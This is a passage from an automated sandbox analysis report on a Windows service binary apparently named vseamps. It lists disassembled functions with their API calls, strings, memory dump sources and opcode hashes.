GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F459
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F4FF
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F559
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F592
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F5CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F60E

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction ID: 43b9ce706039119b05782f2693b3e997f7dca892eef84fff4304595f3d56aff3
Opcode Fuzzy Hash: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction Fuzzy Hash: 266181B2200B808AE762DF23B8407AA66E5F74C7E8F548325BF6947BF4DB74C555A700

Function 00007FFBC1BA712C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFBC1BA72EB,?,?,?,00007FFBC1BA3EC0,?,?,?,?,00007FFBC1BA3CFD), ref: 00007FFBC1BA71B1
GetLastError.KERNEL32(?,?,?,00007FFBC1BA72EB,?,?,?,00007FFBC1BA3EC0,?,?,?,?,00007FFBC1BA3CFD), ref: 00007FFBC1BA71BF
LoadLibraryExW.KERNEL32(?,?,?,00007FFBC1BA72EB,?,?,?,00007FFBC1BA3EC0,?,?,?,?,00007FFBC1BA3CFD), ref: 00007FFBC1BA71E9
FreeLibrary.KERNEL32(?,?,?,00007FFBC1BA72EB,?,?,?,00007FFBC1BA3EC0,?,?,?,?,00007FFBC1BA3CFD), ref: 00007FFBC1BA7257
GetProcAddress.KERNEL32(?,?,?,00007FFBC1BA72EB,?,?,?,00007FFBC1BA3EC0,?,?,?,?,00007FFBC1BA3CFD), ref: 00007FFBC1BA7263

Strings

api-ms-, xrefs: 00007FFBC1BA71D1

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction ID: ffeb1a035198ed494dd794462f4705eaa4138285bbf04c8e24d7c32cf5df6209
Opcode Fuzzy Hash: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction Fuzzy Hash: 2031F4A9B1FB4191EF129F22E4105BA23D4BF49B60F595535ED1D27750EE3CE4458B00

Function 00007FFBC1BA9444 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFBC1BA9453
FlsGetValue.KERNEL32 ref: 00007FFBC1BA9468
FlsSetValue.KERNEL32 ref: 00007FFBC1BA9489
FlsSetValue.KERNEL32 ref: 00007FFBC1BA94B6
FlsSetValue.KERNEL32 ref: 00007FFBC1BA94C7
FlsSetValue.KERNEL32 ref: 00007FFBC1BA94D8
SetLastError.KERNEL32 ref: 00007FFBC1BA94F3

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction ID: fcc205c091ddb99f307a55c06a5f85bfa6e44c63f82ac463298a38d9a831066d
Opcode Fuzzy Hash: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction Fuzzy Hash: A9214FACF0E64245FB69AF31D6A113B53429F447B0F546734E93E67AC6EE2CB4419E00

Function 00007FFBC1BB0100 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFBC1BB0131
GetLastError.KERNEL32 ref: 00007FFBC1BB013D
CloseHandle.KERNEL32 ref: 00007FFBC1BB0155
CreateFileW.KERNEL32 ref: 00007FFBC1BB0180
WriteConsoleW.KERNEL32 ref: 00007FFBC1BB019F

Strings

CONOUT$, xrefs: 00007FFBC1BB0161

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction ID: 6a55b551aabb88951b322a06efbeda7f2883df03e2b1b0ab500bdc8f3d0da3d8
Opcode Fuzzy Hash: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction Fuzzy Hash: 47119675B18A4182E7508F62E94432673A0FB88BE4F409234EA5DA7F94CF3CD544CB44

Function 0000000140001270 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrysynchronizationCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerW.ADVAPI32 ref: 0000000140001282
CreateEventW.KERNEL32 ref: 00000001400012C0

Part of subcall function 0000000140003F80: InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
Part of subcall function 0000000140003F80: GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
Part of subcall function 0000000140003F80: OpenProcessToken.ADVAPI32 ref: 0000000140004007
Part of subcall function 0000000140003F80: GetLastError.KERNEL32 ref: 0000000140004011
Part of subcall function 0000000140003F80: EnterCriticalSection.KERNEL32 ref: 00000001400040B3
Part of subcall function 0000000140003F80: LeaveCriticalSection.KERNEL32 ref: 000000014000412B
Part of subcall function 0000000140003F80: GetVersionExW.KERNEL32 ref: 0000000140004155
Part of subcall function 0000000140003F80: RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
Part of subcall function 0000000140003F80: RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
Part of subcall function 0000000140003F80: RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
Part of subcall function 0000000140003F80: RpcServerListen.RPCRT4 ref: 00000001400041D3

SetServiceStatus.ADVAPI32 ref: 0000000140001302
WaitForSingleObject.KERNEL32 ref: 0000000140001312

Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
Part of subcall function 00000001400042B0: CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
Part of subcall function 00000001400042B0: SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
Part of subcall function 00000001400042B0: WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
Part of subcall function 00000001400042B0: TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
Part of subcall function 00000001400042B0: RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
Part of subcall function 00000001400042B0: RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

SetServiceStatus.ADVAPI32 ref: 000000014000134B

Strings

vseamps, xrefs: 000000014000127B

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$Server$CloseEnterHandleLeaveService$DeleteEventObjectProcessRegisterSingleStatusWait$CancelContextCreateCtrlCurrentDontErrorHandlerInitializeLastListenListeningMgmtOpenProtseqSerializeStopTerminateThreadTimerTokenUnregisterVersionWaitable
String ID: vseamps
API String ID: 3197017603-3944098904
Opcode ID: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction ID: 0252cca9582b7aeb0e5a7a434c8e7364f46e89616d8e728b6478e43ab65cb610
Opcode Fuzzy Hash: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction Fuzzy Hash: B921A2B1625A009AEB02DF17FC85BD637A0B74C798F45621AB7498F275CB7EC148CB00

Function 00000001400011F0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 24windowCOMMON

Download Yara Rule

APIs

sprintf_s.LIBCMTD ref: 0000000140001233
MessageBoxW.USER32 ref: 0000000140001249

Strings

Jul 5 2019, xrefs: 0000000140001216
usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy, xrefs: 000000014000121D
Help, xrefs: 0000000140001238
10:52:57, xrefs: 000000014000120F

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Messagesprintf_s
String ID: 10:52:57$Help$Jul 5 2019$usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy
API String ID: 2642950106-3610746849
Opcode ID: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction ID: 92f91a294e228129c374272f9a209b177778b3d46068e39525b46f8f62cf975d
Opcode Fuzzy Hash: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction Fuzzy Hash: 78F01DB1221A8595FB52EB61F8567D62364F78C788F811112BB4D0B6BADF3DC219C700

Function 0000000140002650 Relevance: 10.0, APIs: 8, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002666
HeapFree.KERNEL32 ref: 0000000140002674
GetProcessHeap.KERNEL32 ref: 0000000140002683
HeapFree.KERNEL32 ref: 0000000140002691
GetProcessHeap.KERNEL32 ref: 00000001400026A0
HeapFree.KERNEL32 ref: 00000001400026AE
GetProcessHeap.KERNEL32 ref: 00000001400026BD
HeapFree.KERNEL32 ref: 00000001400026CB

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction ID: 80974503ddc58818480ab649a73b779641f1d99de81085d1f592bfbfa5fc6ad1
Opcode Fuzzy Hash: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction Fuzzy Hash: 9C01EDB8701B8041EB0BDFE7B60839992A2AB8DFD5F185024AF1D17779DE3AC4548700

Function 0000000140002970 Relevance: 10.0, APIs: 8, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002986
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002994
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029A3
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029B1
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029C0
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029CE
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029DD
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029EB

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction ID: 9f3d0c666f817a9e432213240f72880bf7997caebe097eb0308f7621ef9b933c
Opcode Fuzzy Hash: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction Fuzzy Hash: 20010CB9601B8081EB4BDFE7B608399A2A2FB8DFD4F089024AF0917739DE39C4548200

Function 000000014000F680 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6FD
GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F72B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F799
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F84C
GetStringTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F911

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 319667368-0
Opcode ID: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction ID: 469d978012ccf723a2c6c682b25d7e2ba576a75483cbf286a89393a26fd70a6f
Opcode Fuzzy Hash: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction Fuzzy Hash: E3817EB2200B8096EB62DF27A4407E963A5F74CBE4F548215FB6D57BF4EB78C546A300

Function 000000014000ADE0 Relevance: 9.2, APIs: 6, Instructions: 167COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE38
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE4E

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AEDE
MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF85
GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF9C
GetStringTypeA.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AFFB

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 1390108997-0
Opcode ID: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction ID: bb54969f148ae750ab4279c880304e23b66920be01f6227d0c0ffa95ca0b2e73
Opcode Fuzzy Hash: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction Fuzzy Hash: 1B616CB22007818AEB62DF66E8407E967E1F74DBE4F144625FF5887BE5DB39C9418340

Function 00007FFBC1BA4CD4 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 319COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFBC1BA4E72
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFBC1BA519B

Strings

csm, xrefs: 00007FFBC1BA4DB9
csm, xrefs: 00007FFBC1BA4E1B
csm, xrefs: 00007FFBC1BA4E99

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction ID: dc06fb5fa9b71da989c45672d6d37ec08183d3f4ccbb6aac84278cfdd9f0e4e0
Opcode Fuzzy Hash: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction Fuzzy Hash: BCE1B1B6B097828AE7209F39D4803BE77A0FB45748F146135DE8D67A96CF38E581CB40

Function 00007FFBC1BA95BC Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFBC1BA8BC9,?,?,?,?,00007FFBC1BA8C14), ref: 00007FFBC1BA95CB
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA8BC9,?,?,?,?,00007FFBC1BA8C14), ref: 00007FFBC1BA9601
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA8BC9,?,?,?,?,00007FFBC1BA8C14), ref: 00007FFBC1BA962E
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA8BC9,?,?,?,?,00007FFBC1BA8C14), ref: 00007FFBC1BA963F
FlsSetValue.KERNEL32(?,?,?,00007FFBC1BA8BC9,?,?,?,?,00007FFBC1BA8C14), ref: 00007FFBC1BA9650
SetLastError.KERNEL32(?,?,?,00007FFBC1BA8BC9,?,?,?,?,00007FFBC1BA8C14), ref: 00007FFBC1BA966B

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction ID: 21491742607ee10a4d92690e5fe13e2d8aef9a86c079129b8e0a7a530d4233d5
Opcode Fuzzy Hash: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction Fuzzy Hash: AD115EACF0E64245FB58AF36D66113B23529F487B0F44A735E93E66AC6DE2CB441DE00

Function 0000000140013850 Relevance: 9.0, APIs: 6, Instructions: 18synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001385B
LeaveCriticalSection.KERNEL32 ref: 0000000140013872
SetEvent.KERNEL32 ref: 000000014001387F
WaitForSingleObject.KERNEL32 ref: 0000000140013891
CloseHandle.KERNEL32 ref: 000000014001389E
CloseHandle.KERNEL32 ref: 00000001400138AB

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterEventLeaveObjectSingleWait
String ID:
API String ID: 3326452711-0
Opcode ID: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction ID: 377d3f5d57f943d14cdd7bc93d1ee7868a659259fbd0ecc80ccbf17849fffa4f
Opcode Fuzzy Hash: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction Fuzzy Hash: 71F00274611D05D5EB029F53EC953942362B79CBD5F590111EB0E8B270DF3A8599C705

Function 0000000140003790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 00000001400037D3
#4.VSELOG ref: 0000000140003823
EnterCriticalSection.KERNEL32 ref: 000000014000382F
LeaveCriticalSection.KERNEL32 ref: 00000001400038B7

Strings

amps_Exec: pHandle=%p, execId=%d, iParam=%d, xrefs: 000000014000380B

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: amps_Exec: pHandle=%p, execId=%d, iParam=%d
API String ID: 2984211723-1229430080
Opcode ID: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction ID: 21f659f61b14fb79d6609d2ab4e2a3109e2b4daa988e78f6170daec752ad98bd
Opcode Fuzzy Hash: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction Fuzzy Hash: 2C311375614B4082EB228F56F890B9A7360F78CBE4F480225FB6C4BBB4DF7AC5858740

Function 00007FFBC1BA7F28 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFBC1BA7F4D
GetProcAddress.KERNEL32 ref: 00007FFBC1BA7F63
FreeLibrary.KERNEL32 ref: 00007FFBC1BA7F8A

Strings

CorExitProcess, xrefs: 00007FFBC1BA7F5C
